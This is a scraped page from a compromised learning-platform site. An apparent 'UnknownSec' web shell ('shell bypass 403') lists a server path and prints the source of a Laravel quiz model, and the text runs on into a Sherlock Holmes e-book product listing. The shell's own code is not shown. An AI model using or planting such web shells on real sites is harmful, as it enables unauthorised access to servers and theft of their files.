shell bypass 403

UnknownSec Shell

: /home/anyleson/public_html/app/Models/ [ drwxr-xr-x ]

name : QuizzesQuestion.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;
use Astrotomic\Translatable\Contracts\Translatable as TranslatableContract;
use Astrotomic\Translatable\Translatable;

class QuizzesQuestion extends Model implements TranslatableContract
{
    use Translatable;

    protected $table = 'quizzes_questions';
    public $timestamps = false;
    protected $guarded = ['id'];

    static $multiple = 'multiple';
    static $descriptive = 'descriptive';

    public $translatedAttributes = ['title', 'correct'];

    public function getTitleAttribute()
    {
        return getTranslateAttributeValue($this, 'title');
    }

    public function getCorrectAttribute()
    {
        return getTranslateAttributeValue($this, 'correct');
    }


    public function quizzesQuestionsAnswers()
    {
        return $this->hasMany('App\Models\QuizzesQuestionsAnswer', 'question_id', 'id');
    }


    public function canAccessToEdit($user = null)
    {
        if (empty($user)) {
            $user = auth()->user();
        }

        $result = false;

        if (!empty($user)) {
            $quiz = Quiz::find($this->quiz_id);

            $webinar = null;
            if (!empty($quiz->webinar_id)) {
                $webinar = Webinar::query()->find($quiz->webinar_id);
            }

            if ($quiz->creator_id != $user->id and (!empty($webinar) and $webinar->canAccess($user))) {
                $quiz = null;
            }


            if (!empty($quiz)) {
                $result = true;
            }
        }

        return $result;
    }
}

© 2025 UnknownSec
Sherlock Holmes e-book | Anyleson - Learning Platform
INR (₹)
India Rupee
$
United States Dollar
Get Cashback
By purchasing this product, you will get ₹0.50 as cashback.
Sherlock Holmes e-book
Sherlock Holmes e-book
Sherlock Holmes e-book

Sherlock Holmes e-book

in e-book
5.00
(1 Reviews)
Availability In stock
₹5.50

Gift this product

Send this product as a gift to your friends

Share

Share this product with others

Send Message

Buy with points